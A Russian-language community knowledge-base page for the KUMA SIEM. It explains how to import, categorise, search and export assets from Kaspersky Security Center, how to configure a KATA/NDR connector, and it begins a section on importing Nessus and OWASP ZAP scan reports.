<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Откройте веб-интерфейс </span><span lang="EN-US">KUMA</span><span style="mso-ansi-language: RU;"> и перейдите в раздел **Параметры →** </span>**<span lang="EN-US">Kaspersky</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Security</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Center</span>**<span style="mso-ansi-language: RU;">.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Выберите тенант, в котором ранее было создано подключение к </span><span lang="EN-US">Kaspersky</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Security</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Center</span><span style="mso-ansi-language: RU;">.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В появившемся окне **Интеграция с** </span>**<span lang="EN-US">Kaspersky</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Security</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Center</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span>**<span style="mso-ansi-language: RU;">нажмите на созданное подключение к </span><span lang="EN-US">KSC</span><span style="mso-ansi-language: RU;"> и в появившемся окне **Параметры подключения** нажмите **Загрузить иерархию**.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">4.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Отобразится иерархия групп устройств </span><span lang="EN-US">KSC</span><span style="mso-ansi-language: RU;">. Выберите группы, устройства из которых необходимо импортировать.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">5.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Нажмите на кнопку **Импортировать активы**. Будет создана задача по импорту активов.</span>

<span style="mso-ansi-language: RU;"> </span>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/TiQimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/TiQimage.png)

<span lang="EN-US" style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light';"><span style="mso-list: Ignore;">6.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Нажмите **Сохранить**.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">7.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В окне **Интеграция с Kaspersky Security Center** также нажмите **Сохранить**. </span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">8.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Перейдите в раздел **Диспетчер задач**.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">9.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Нажмите на задачу **Импорт активов KSC** со статусом **Завершено**. В окне справа **Информация о задаче** будет указано количество активов, информация о которых была импортирована в </span><span lang="EN-US">KUMA</span><span style="mso-ansi-language: RU;">.</span>

<span style="mso-no-proof: yes;"> </span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/je8image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/je8image.png)

Информация об активах успешно импортирована.

Чтобы просмотреть информацию об импортированном активе:

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Перейдите в раздел **Активы** → выберите один из активов в списке.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В окне справа отобразится информация об активе.</span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/Cstimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/Cstimage.png)

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/adPimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/adPimage.png)[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/yE0image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/yE0image.png)

<span style="mso-no-proof: yes;"> </span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/21uimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/21uimage.png)

Пример события, обогащенного информацией об активе, представлен на скриншоте ниже.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/RzTimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/RzTimage.png)

<span lang="EN-US" style="mso-ansi-language: EN-US; mso-no-proof: yes;"> </span>

Коллекторы KUMA с периодически получают списки активов от ядра KUMA и хранят их памяти в виде таблиц, позволяющих определить AssetID по IP адресу и/или FQDN.

При поступлении события в коллектор, коллектор выполняет:

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">нормализацию данных в поля события </span><span lang="EN-US">KUMA</span><span style="mso-ansi-language: RU;">;</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">если в событии содержится информация о </span><span lang="EN-US">SourceAddress</span><span style="mso-ansi-language: RU;">, </span><span lang="EN-US">Destination</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Address</span><span style="mso-ansi-language: RU;">, </span><span lang="EN-US">DeviceAddress</span><span style="mso-ansi-language: RU;">, </span><span lang="EN-US">SourceHostName</span><span style="mso-ansi-language: RU;">, </span><span lang="EN-US">DestinationHostName</span><span style="mso-ansi-language: RU;">, </span><span lang="EN-US">DeviceHostName</span><span style="mso-ansi-language: RU;"> коллектор выполняет поиск </span><span lang="EN-US">IP</span><span style="mso-ansi-language: RU;"> - </span><span lang="EN-US">AssetID</span><span style="mso-ansi-language: RU;"> и/или </span><span lang="EN-US">FQDN</span><span style="mso-ansi-language: RU;"> - </span><span lang="EN-US">AssetID</span><span style="mso-ansi-language: RU;">;</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">если информация об активе найдена, </span><span lang="EN-US">AssetID</span><span style="mso-ansi-language: RU;"> проставляется в соответствующее поле нормализованного события;</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В общем случае, в нормализованное событие могут быть проставлены 3 типа </span><span lang="EN-US">AssetID</span><span style="mso-ansi-language: RU;">: </span><span lang="EN-US">SourceAssetID</span><span style="mso-ansi-language: RU;">, </span><span lang="EN-US">DestinationAssetID</span><span style="mso-ansi-language: RU;">, </span><span lang="EN-US">DeviceAssetID</span><span style="mso-ansi-language: RU;">.</span>

##### **<span style="color: rgb(22, 145, 121);">Работа с активами</span>**

##### **<span style="color: rgb(22, 145, 121);">Создание категории активов</span>**

Вы можете разбить активы по категориям и затем использовать категории активов в условиях фильтров или правил корреляции. Например, можно создавать алерты более высокого уровня важности для активов из более критичной категории. По умолчанию все активы находятся в категории **Активы без категории**. Устройство можно добавить в несколько категорий.

По умолчанию в KUMA категориям активов присвоены следующие уровни критичности: Low, Medium, High, Critical. Вы можете создать пользовательские категории и организовать вложенность.

Категории активов можно наполнять следующими способами:

<span lang="EN-US" style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span>**<span lang="EN-US">Вручную</span>**

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span>**<span style="mso-ansi-language: RU;">Активно</span>**<span style="mso-ansi-language: RU;">: динамически, если актив соответствует заданным условиям. Например, с момента перехода актива на указанную версию ОС или размещения актива в указанной подсети актив будет перемещен в заданную категорию.</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span>**<span style="mso-ansi-language: RU;">Реактивно</span>**<span style="mso-ansi-language: RU;">: при срабатывания корреляционного правила актив будет перемещаться в указанную группу.</span>

Чтобы добавить категорию активов:

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Перейдите в раздел **Активы** веб-интерфейса </span><span lang="EN-US">KUMA</span><span style="mso-ansi-language: RU;">.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Выберите категорию </span>**<span lang="EN-US">Main</span>**<span style="mso-ansi-language: RU;">/</span>**<span lang="EN-US">Categorized</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">assets</span>**<span lang="EN-US" style="mso-ansi-language: RU;"> </span><span style="mso-ansi-language: RU;">и нажмите **Добавить категорию**.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В появившемся окне **Добавить категорию** укажите:</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В поле **Название** введите название категории. </span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Опционально в поле **Родительская категория** укажите место категории в дереве категорий.</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В поле **Тенант** отображается тенант, в структуре которого вы выбрали родительскую категорию.</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В раскрывающемся списке **Способ категоризации** выберите, как категория будет пополняться активами (в нашем примере будет использоваться способ **Активно**). В зависимости от выбора может потребоваться указать дополнительные параметры:</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span>**<span style="mso-ansi-language: RU;">Вручную</span>**<span style="mso-ansi-language: RU;"> – активы можно привязать к категории только вручную.</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span>**<span style="mso-ansi-language: RU;">Активно</span>**<span style="mso-ansi-language: RU;"> – активы будут с определенной периодичностью привязываться к категории, если удовлетворяют заданному фильтру.</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span>**<span style="mso-ansi-language: RU;">Реактивно</span>**<span style="mso-ansi-language: RU;"> – категория будет наполняться активами с помощью правил корреляции.</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Назначьте уровень важности категории в раскрывающемся списке **Уровень важности** (в нашем примере будет использоваться уровень важности **Критический**).</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В раскрывающемся списке **Регулярность категоризации** укажите периодичность, с которой активы будут привязываться к категории (выберите **24 часа**).</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В блоке параметров **Условия** укажите фильтр, которому должны соответствовать активы для привязывания к категории (укажите собственное условие фильтра или согласно скриншоту ниже, указав в условии **Полное доменное имя** наименование тестовой рабочей станции).</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">С помощью кнопки **Проверить условия** убедитесь, что указанный фильтр верен: при нажатии на кнопку отображается окно Активы, найденные по заданным условиям с перечнем активов, удовлетворяющих условиям поиска.</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span lang="EN-US">Нажмите **Сохранить**.</span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/IfRimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/IfRimage.png)

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/k6vimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/k6vimage.png)

Новая категория добавлена в дерево категорий активов.

##### **<span style="color: rgb(22, 145, 121);">Поиск активов</span>**

В KUMA есть два режима поиска активов. Переключение между режимами поиска осуществляется с помощью кнопок в верхней левой части окна:

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/1B3image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/1B3image.png)<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;"><span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-no-proof: yes;"> </span><span style="mso-ansi-language: RU;"><span style="mso-spacerun: yes;"> </span>– простой поиск по параметрам активов **Название**, **Полное доменное имя**, </span>**<span lang="EN-US">IP</span><span style="mso-ansi-language: RU;">-адрес</span>**<span style="mso-ansi-language: RU;">, </span>**<span lang="EN-US">MAC</span><span style="mso-ansi-language: RU;">-адрес</span>**<span style="mso-ansi-language: RU;"> и **Владелец**.</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/Zynimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/Zynimage.png)<span lang="EN-US" style="mso-no-proof: yes;"> </span><span lang="EN-US" style="mso-ansi-language: RU;"><span style="mso-spacerun: yes;"> </span></span><span style="mso-ansi-language: RU;">– сложный поиск активов с помощью фильтрации по условиям и группам условий.</span>

Чтобы выполнить простой поиск:

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В разделе **Активы** веб-интерфейса </span><span lang="EN-US">KUMA</span><span style="mso-ansi-language: RU;"> убедитесь, что напротив поля **Поиска** активна кнопка </span>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/8HNimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/8HNimage.png)

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Введите поисковый запрос в поле **Поиск** и нажмите </span>**<span lang="EN-US">ENTER</span>**<span style="mso-ansi-language: RU;"> или значок <span style="mso-no-proof: yes;"> </span>.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В таблице отобразятся активы, у которых параметры **Название**, **Полное доменное имя,** </span>**<span lang="EN-US">IP</span><span style="mso-ansi-language: RU;">-адрес</span>**<span style="mso-ansi-language: RU;">, </span>**<span lang="EN-US">MAC</span><span style="mso-ansi-language: RU;">-адрес</span>**<span style="mso-ansi-language: RU;"> и **Владелец** соответствуют критериям поиска.</span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/pVnimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/pVnimage.png)

Чтобы выполнить <span lang="EN-US" style="mso-ansi-language: EN-US;">c</span>ложный поиск:

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В разделе **Активы** веб-интерфейса </span><span lang="EN-US">KUMA</span><span style="mso-ansi-language: RU;"> убедитесь, что напротив поля **Поиска** активна кнопка </span><span lang="EN-US" style="mso-no-proof: yes;"> </span>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/I1Cimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/I1Cimage.png)

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Добавьте условие фильтрации (можно добавить несколько условий, используя кнопку **Добавить условие** или создать **Группу условий**) и нажмите **Поиск**.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">В таблице отобразятся активы, которые соответствуют критериям поиска.</span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/3jGimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/3jGimage.png)

##### <span style="color: rgb(22, 145, 121);">**Экспорт данных об активах**</span>

Данные об активах, отображаемых в таблице активов, можно экспортировать в виде CSV-файла.

Чтобы экспортировать данные об активах:

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Перейдите в раздел **Активы** и выполните настройку таблицы активов. В файл записываются только данные, указанные в таблице. Порядок отображения столбцов таблицы активов повторяется в экспортированном файле.</span>

<span style="mso-ansi-language: RU;"> </span>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/g4zimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/g4zimage.png)

<span style="mso-no-proof: yes;"> </span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Выполните поиск нужных активов, выберите их, установив рядом с ними флажки. При необходимости вы можете выбрать сразу все активы в таблице, установив флажок в левой части заголовка таблицы активов.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Нажмите на кнопку **Экспортировать в** </span>**<span lang="EN-US">CSV</span>**<span style="mso-ansi-language: RU;">.</span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/EJiimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/EJiimage.png)

<span style="mso-no-proof: yes;"> </span>

Данные об активах будут записаны в файл **assets\_&lt;дата экспорта&gt;\_&lt;время экспорта&gt;.csv** и загружены автоматически.

<table border="0" cellpadding="0" cellspacing="0" class="MsoTableGrid" id="bkmrk-%D0%A1%D1%82%D0%B0%D1%82%D1%8C%D1%8F-%D0%BE%D0%BD%D0%BB%D0%B0%D0%B9%D0%BD-%D1%81%D0%BF%D1%80%D0%B0%D0%B2%D0%BA" style="border-collapse: collapse; mso-yfti-tbllook: 1184; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt;"><tbody><tr style="mso-yfti-irow: -1; mso-yfti-firstrow: yes; mso-yfti-lastfirstrow: yes; mso-yfti-lastrow: yes;"><td style="width: 510.2pt; border: solid #00A88E 1.5pt; mso-border-themecolor: accent1; padding: 0cm 5.4pt 0cm 5.4pt;" valign="top" width="680"><span style="color: rgb(22, 145, 121);">Статья онлайн-справки «Управление активами»:</span>

<span style="color: rgb(22, 145, 121);"><span>[https://support.kaspersky.ru/kuma/3.4/217935](https://support.kaspersky.ru/kuma/3.4/217935)</span></span>

<span style="color: rgb(22, 145, 121);"> </span>

<span style="color: rgb(22, 145, 121);">Статья KUMA Community «Интеграция KUMA с KSC»:</span>

<span style="color: rgb(22, 145, 121);">**[<span style="font-weight: normal;">https://kb.kuma-community.ru/books/integracii/page/integraciia-kuma-s-ksc</span>](https://kb.kuma-community.ru/books/integracii/page/integraciia-kuma-s-ksc)**</span>

<span style="color: rgb(22, 145, 121);"> </span>

<span style="color: rgb(22, 145, 121);">Видео<span lang="EN-US"> «</span>Интеграция с<span lang="EN-US"> Kaspersky Security Center»:</span></span>

<span lang="EN-US" style="color: rgb(22, 145, 121);">https://rutube.ru/video/c3012fb60209d69c7adedfefaaf93535/?playlist=540937</span>

</td></tr></tbody></table>

# Импорт активов из KATA/NDR

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

<p class="callout warning">Данная инструкция предназначена строго для версии KATA/NDR **7.0**.</p>

<p class="callout warning">Данная инструкция предназначена для импорта информации об активах, полученной KATA/NDR в KUMA.</p>

### Настройка KATA/NDR

Для настройки пересылки событий из KATA/NDR в SIEM KUMA необходимо выполнить следующие действия:

1\. Перейти в веб-консоль KATA/NDR из-под учетной записи Администратора

2\. Перейти в раздел **Параметры** – **Коннекторы** и нажать на кнопку **Добавить коннектор**

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-12/scaled-1680-/cBVimage.png)

3\. В открывшемся окне настроить параметры интеграции с KUMA:  
 **Тип коннектора**: KUMA;  
**Имя коннектора**: произвольное название, например, *KUMA;* **Пароль доступа к сертификату коннектора**: задайте пароль для файла свертки;  
**Пароль (повторно)**: повторите введенный ранее пароль;  
**Адрес сервера**: Адрес CN KATA/NDR;  
**Узел размещения коннектора**: Адрес сервера в кластере KATA/NDR для размещения коллектора (в случае Single node будет совпадать с предыдущем пунктом);  
**Пользователь программы**: выбрать нужного из выпадающего списка.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-12/scaled-1680-/gbMimage.png)

3\. По завершении заполнения необходимых полей нажать кнопку **Сохранить**.

В результате будет загружен архив, а также в интерфейсе KATA/NDR созданный коннектор перейдет в состояние **Работает**.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-12/scaled-1680-/tJqimage.png)

---

### Настройка KUMA

Перейдите в веб-интерфейс KUMA на вкладку Параметры - KICS/KATA и задайте параметры интеграции:

**Выключено**: галочка должна быть снята для работы интеграции;  
**Тенант**: выберите необходимый тенант из выпадающего списка*;* **Включить реагирование**: требуется для изменения статуса устройств;  
**Файл свертки:** загрузите архив, полученный при настройке на стороне KATA/NDR; **Пароль файла свертки**: укажите пароль от архива, заданный при настройке на стороне KATA/NDR;

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-12/scaled-1680-/3gmimage.png)

По окончании настройки нажмите кнопку **Сохранить**.

---

# Nessus и OWASP ZAP

В KUMA можно импортировать сведения об активах из отчетов о результатах сканирования устройств с помощью Nessus, OWASPZAP, системы контроля защищенности и соответствия стандартам. Импорт происходит через API с помощью утилиты `import_asset_Nessus_OWASP.py` (скрипт находится в Community-Pack в папке Assets \[ссылка доступна из [Дисклеймера](https://kb.kuma-community.ru/)\]). Импортированные активы отображаются в веб-интерфейсе KUMA в разделе Активы. При необходимости вы можете редактировать параметры активов.

### Предварительные настройки в KUMA

Создайте пользователя с ролью **главный администратор** со следующими **правами доступа для API**:

- GET /tenants
- GET /users/whoami
- POST /assets/import

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/scaled-1680-/FBZimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/FBZimage.png)

Сохраните настройки, **сгенерируйте токен** и отдельно сохраните его, например, в каком-либо текстовом редакторе. Нажмите **Сохранить**.

Добавьте **дополнительнео поле** с названием «Description» в разделе **Параметры - Активы - Пользовательские атрибуты**.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/scaled-1680-/J5cimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/J5cimage.png)

**Сохраните** изменения.

### Импорт отчета от Nessus

Пример отчета от Nessus в формате CSV:

```
Plugin ID,CVE,CVSS v2.0 Base Score,Risk,Host,Protocol,Port,Name,Synopsis,Description,Solution,See Also,Plugin Output,STIG Severity,CVSS v3.0 Base Score,CVSS v2.0 Temporal Score,CVSS v3.0 Temporal Score,VPR Score,Risk Factor,BID,XREF,MSKB,Plugin Publication Date,Plugin Modification Date,Metasploit,Core Impact,CANVAS
